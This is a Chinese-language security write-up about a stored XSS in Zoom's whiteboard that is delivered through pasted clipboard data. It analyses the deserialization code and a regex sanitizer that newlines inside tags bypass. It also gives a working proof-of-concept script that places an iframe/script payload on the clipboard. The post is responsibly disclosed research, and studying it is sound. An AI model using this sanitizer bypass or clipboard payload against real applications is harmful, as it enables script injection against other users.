我希望这个漏洞能被记住:分析剪贴板事件监听器中的存储型XSS
2022年12月17日 · 1700字 · 8分钟阅读
什么时候复制粘贴payload不是自我XSS?当它是存储型XSS时。最近,我审查了Zoom的代码,发现了一个有趣的攻击向量。在这个过程中,我深入研究了ClipboardEvent和DataTransfer web API,并学到了很多关于动态拖放内部机制的知识。
序列化的接收器 🔗
Zoom包含一个Zoom白板功能,允许用户在共享画布上协作,包含便签、图表、富文本以及所有我们期望的典型实时文档协作功能。
有趣的是,这个功能在web和原生客户端上都使用JavaScript和嵌入式浏览器工作。得益于这种跨平台支持,我可以轻松获取该功能的客户端代码。此外,应用程序包含了webpack代码的源映射,允许我使用像我的Webpack Exploder这样的工具轻松将其解包到原始目录结构中。
快速浏览代码并使用CodeQL运行几个默认扫描后,我注意到以下函数似乎正在使用DataTransfer.getData()函数从剪贴板提取用户数据:
1
2
3
4
5
6
7
8
|
private prepareData(t: DataTransfer | null): ReadData | undefined {
if (!t) return;
return {
html: t.getData(MIME_TYPE.TEXT_HTML),
text: t.getData(MIME_TYPE.TEXT_PLAIN),
files: Array.from(t.files || []),
};
}
|
进一步追踪调用prepareData的代码,我确认这确实源自粘贴事件监听器:
1
2
3
4
5
|
document.addEventListener("paste", this.pasteListener);
...
private pasteListener = (evt: ClipboardEvent) => {
this.pasteWrapper(this.prepareData(evt.clipboardData));
};
|
阅读MDN文档(我强烈推荐),我了解到粘贴事件包含一个clipboardData属性,它是DataTransfer对象的实例。反过来,DataTransfer对象包含一个getData(format)函数。文档进一步阐述,format参数可以是几种类型,取决于粘贴的数据,从text/plain(用于典型纯文本)到text/uri-list(用于URL或通过data: URI的文件)以及像application/x-moz-file这样的专有类型。规范很吸引人,绝对值得进一步研究浏览器特定的bug。这里,text/html类型指定了序列化(这将在后面很重要)的HTML数据。
一个有趣的细节是剪贴板可以包含不同的数据类型集:
1
2
3
|
const dt = event.dataTransfer;
dt.setData("text/html", "Hello there, <strong>stranger</strong>");
dt.setData("text/plain", "Hello there, stranger");
|
无论如何,大多数应用程序使用text/html类型来复制和粘贴富数据,如幻灯片、图表等。从剪贴板提取这些富数据后,应用程序通过page.paste()将其添加到页面。
1
2
3
4
5
6
|
private pasteWrapper = async (t?: ReadData) => {
...
await this.read();
...
await page.paste(position);
};
|
在对粘贴过于兴奋之前,我需要了解read函数如何将剪贴板数据解析为实际添加到页面的HTML节点。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
private async read() {
let items: ClipboardItems = [];
try {
items = await navigator.clipboard.read();
} catch (err) {
SYSTEM_LOGGER.warn(err);
return;
}
const target = items.pop();
if (!target) return;
const type = target.types[target.types.length - 1];
if (!type) return;
const b = await target.getType(type);
...
if (type === MIME_TYPE.TEXT_PLAIN) {
const t = await b.text();
t && data.push(this.createTextBox(t));
} else if (IMAGE_REGEXP.test(type)) {
const ext = getBlobTypeExt(b);
if (!ext) return;
const f = new File([b], `image.${ext}`, { type });
if (!this.uploadPermission(f)) return;
const img = await this.createImage(f);
img && data.push(img);
} else if (type === MIME_TYPE.TEXT_HTML) {
const zdcData = await getZDCCopyObjects(b);
if (zdcData) {
data.push(...zdcData.objs);
zdcData.meta && this.updateMeta(zdcData.meta);
} else {
const t = getStringFromHtmlString(await b.text());
t && data.push(this.createTextBox(t));
}
...
}
|
这里,代码从剪贴板读取ClipboardItem对象数组,然后读取数组中的第一个ClipboardItem并根据其类型进行解析。每个都返回一个ZDCCopyObject实例,结果是一个自定义的Protocol Buffer类型。这个类型代表白板中的一个项目,如文本框、便签、图表或图像。例如,对于图像:
1
2
3
4
5
6
7
8
9
10
11
12
|
private async createImage(file: File) {
...
return {
pageID: parseInt(page.id),
id,
wireType: WBObjType.WB_OBJ_TYPE_IMAGE,
transform: [scale, 0, 0, scale, left, top],
fileID,
size: originSize,
originalID: id,
} as ZDCCopyObject;
}
|
我在从客户端发送到服务器的WebSocket消息中识别出这些序列化的protocol buffers,意味着客户端将粘贴的数据原样发送到服务器。虽然图像和纯文本类型在检查代码后似乎不太有趣,但HTML类型引起了我的注意,因为它以复杂的方式解析数据:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
export async function getZDCCopyObjects(b: Blob) {
if (b.type !== MIME_TYPE.TEXT_HTML) return;
const t = await b.text();
return getZDCCopyObjectsFromHtmlString(t);
}
export const ExtractCopy = /^<--\(zdc-data\)(.*)\(\/zdc-data\)-->$/;
export const CopyMeta = {
tag: "span",
meta: "data-meta",
};
export function getZDCCopyObjectsFromHtmlString(s: string) {
try {
const d = new DOMParser().parseFromString(s, MIME_TYPE.TEXT_HTML);
const el = d.querySelector(`${CopyMeta.tag}[${CopyMeta.meta}]`);
if (!el) return;
const bta = el.getAttribute(CopyMeta.meta);
if (!bta) return;
const match = bta.match(ExtractCopy);
if (!match || !match[1]) return;
const { objs, meta } = JSON.parse(
decodeURIComponent(window.atob(match[1]))
) as {
objs: ZDCCopyObject[];
meta?: ClipTargetMeta;
};
return Array.isArray(objs) ? { objs, meta } : undefined;
} catch (err) {
SYSTEM_LOGGER.warn(err);
}
}
|
简而言之,数据通过以下步骤从剪贴板数据"反序列化":
- 将剪贴板数据解析为HTML
- 提取HTML中第一个span元素的data-meta属性值
- 确认值匹配正则表达式/^<–(zdc-data)(.*)(/zdc-data)–>$/并提取内部匹配
- Base64解码内部匹配
- URI解码base64解码的数据
- 将结果解析为{ objs: ZDCCopyObject[]; meta?: ClipTargetMeta; },其中ZDCCopyObject是白板项目的表示,ClipTargetMeta是项目的元数据,如白板中的xy位置
- 返回反序列化结果
似乎我接近了一个XSS - 记住这些白板项目通过Websocket作为序列化的Protocol Buffer传输到服务器,然后发送给所有其他白板查看者以更新他们的实时视图。现在我需要审查这个输入的接收器。
不太干净的来源 🔗
通过检查自定义Protocol Buffer定义,我发现白板支持以下项目类型:
1
2
3
4
5
6
7
8
9
10
11
12
|
export enum WBObjType {
WB_OBJ_TYPE_UNKNOWN,
WB_OBJ_TYPE_SHAPE,
WB_OBJ_TYPE_LINE,
WB_OBJ_TYPE_TEXT,
WB_OBJ_TYPE_RICHTEXT,
WB_OBJ_TYPE_GROUP,
WB_OBJ_TYPE_SCRIBBLE,
WB_OBJ_TYPE_STICKYNOTE,
WB_OBJ_TYPE_IMAGE,
WB_OBJ_TYPE_COMMENT,
}
|
每当新项目通过Websocket广播给白板查看者时,客户端的createFabricObject函数会将匹配的React组件插入页面。在这里,我遇到了一个障碍 - 由于React默认清理所有属性,任何用户控制的输入导致XSS的唯一方式是如果它使用dangerouslySetInnerHTML属性插入。然而,客户端代码中的所有组件都没有使用dangerouslySetInnerHTML…或者我是这么认为的。在白板项目上尝试不同的payload时,我注意到某些HTML标签如在我直接在便签中输入时有效,而其他标签被清理了。这是如何在没有dangerouslySetInnerHTML的情况下发生的?
事实证明,几个组件,如便签,正在使用react-contenteditable依赖作为子组件。根据设计,react-contenteditable将html属性传递给dangerouslySetInnerHTML!
开发人员似乎意识到了这一点,因为他们使用严格的DOMPurify配置来清理html属性:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
export const sanitizeHTML = (content: string) => {
return DOMPurify.sanitize(content, {
ALLOWED_TAGS: ["b", "i", "div", "br"],
ALLOWED_ATTR: [],
});
};
...
<ContentEditable
className="content-editable-list"
disabled
html={sanitizeHTML(c.content)}
onChange={() => {}}
/>
|
不幸的是,在检查代码中所有ContentEditable实例后,我发现他们忘记在StickyNote组件的ContentEditable子组件上使用sanitizeHTML!然而,在兴奋地尝试了几个payload后,我意识到开发人员允许这样做是因为他们在将输入传递回ContentEditable html属性之前运行了另一个清理函数convertToText:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
export const convertToText = (str = "") => {
// 确保字符串
let value = String(str);
// 转换编码
value = value.replace(/ /gi, " ");
value = value.replace(/&/gi, "&");
// 替换`<br>`
value = value.replace(/<br>/gi, "\n");
// 替换`<div>`(来自Chrome)
value = value.replace(/<div>/gi, "\n");
// 替换`<p>`(来自IE)
value = value.replace(/<p>/gi, "\n");
// 移除额外标签
value = value.replace(/<(.*?)>/g, "");
return value;
};
|
这个函数使用正则表达式将一些HTML标签替换为它们的视觉等效物,如div的换行符,并移除任何其他标签。它还转换了一些HTML编码以防止绕过。
我如何击败像/<(.*?)>/g这样的正则表达式?第一个线索是><仍然通过清理而没有任何更改。此外,虽然正则表达式使用/g全局标志替换所有匹配,但它未能包含/m多行标志。因此,<script \n>alert()</script \n/>毫发无损地出现了!
现在,我需要做的就是生成序列化的Protocol Buffer并通过Websocket发送。但是,为什么不写一个脚本将其添加到我的剪贴板并粘贴以触发XSS呢?更有趣且更容易被分类人员重现:)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
|
// 更改了一些值
var objs = [{
id: 123,
pageID: 123,
size: [1000, 1000],
transform: [1, 0, 0, 1, 1010, 76],
stickyWriterName: "Test",
fill: 4293630463,
stroke: 4294967295,
strokeWidth: 1,
fontSize: 32,
fontWeight: "normal",
textAlign: 1,
text: "<iframe srcdoc='<script>alert()</script>' \n></iframe\n>",
textFill: 572666111,
createTime: 1659021155815,
modifiedTime: 1659021155815,
wireType: 7,
parentID: 171946614915072,
originalID: 79322586389
}]
var meta = {
docID: "abc123",
originalCopyCenterPos: {
x: 1010,
y: 76
}
}
function getHtmlString(objs, meta) {
const str = JSON.stringify({
objs,
meta
});
const b = window.btoa(encodeURIComponent(str));
return `<meta charset="utf-8"><span data-meta="<--(zdc-data)${b}(/zdc-data)-->"></span>`;
}
function getHtmlBlob(objs, meta) {
return new Blob([getHtmlString(objs, meta)], {
type: "text/html",
});
}
var i = {}
i["text/html"] = getHtmlBlob(objs, meta)
setTimeout(function() {
navigator.clipboard.write([new ClipboardItem(i)]);
console.log("Payload added to clipboard")
}, 1500)
|
披露时间线 🔗
Zoom团队迅速解决了这个漏洞,这是一个良好安全计划的标志。
- 7月29日:初始披露
- 8月2日:分类
- 8月21日:修补
最终想法 🔗
我真的很喜欢深入这个兔子洞,从多个清理和验证步骤中抓出了一个bug。剪贴板攻击向量呈现了有趣的场景,因为它可以通过JavaScript API控制。重要的是要注意payload通过Websocket传输给其他用户并且也未清理渲染,所以它与在控制台中复制粘贴JS不同。绝对值得更深入地挖掘MDN文档,以找出更多有趣的攻击向量。
由于易受攻击的接收器存在于依赖项中,我的CodeQL扫描错过了它。这个bug也会被默认的DevSecOps管道错过,因为代码扫描通常发生在测试阶段,在任何动态测试之前,依赖项被安装。
另外:正则表达式通常对清理来说很棘手。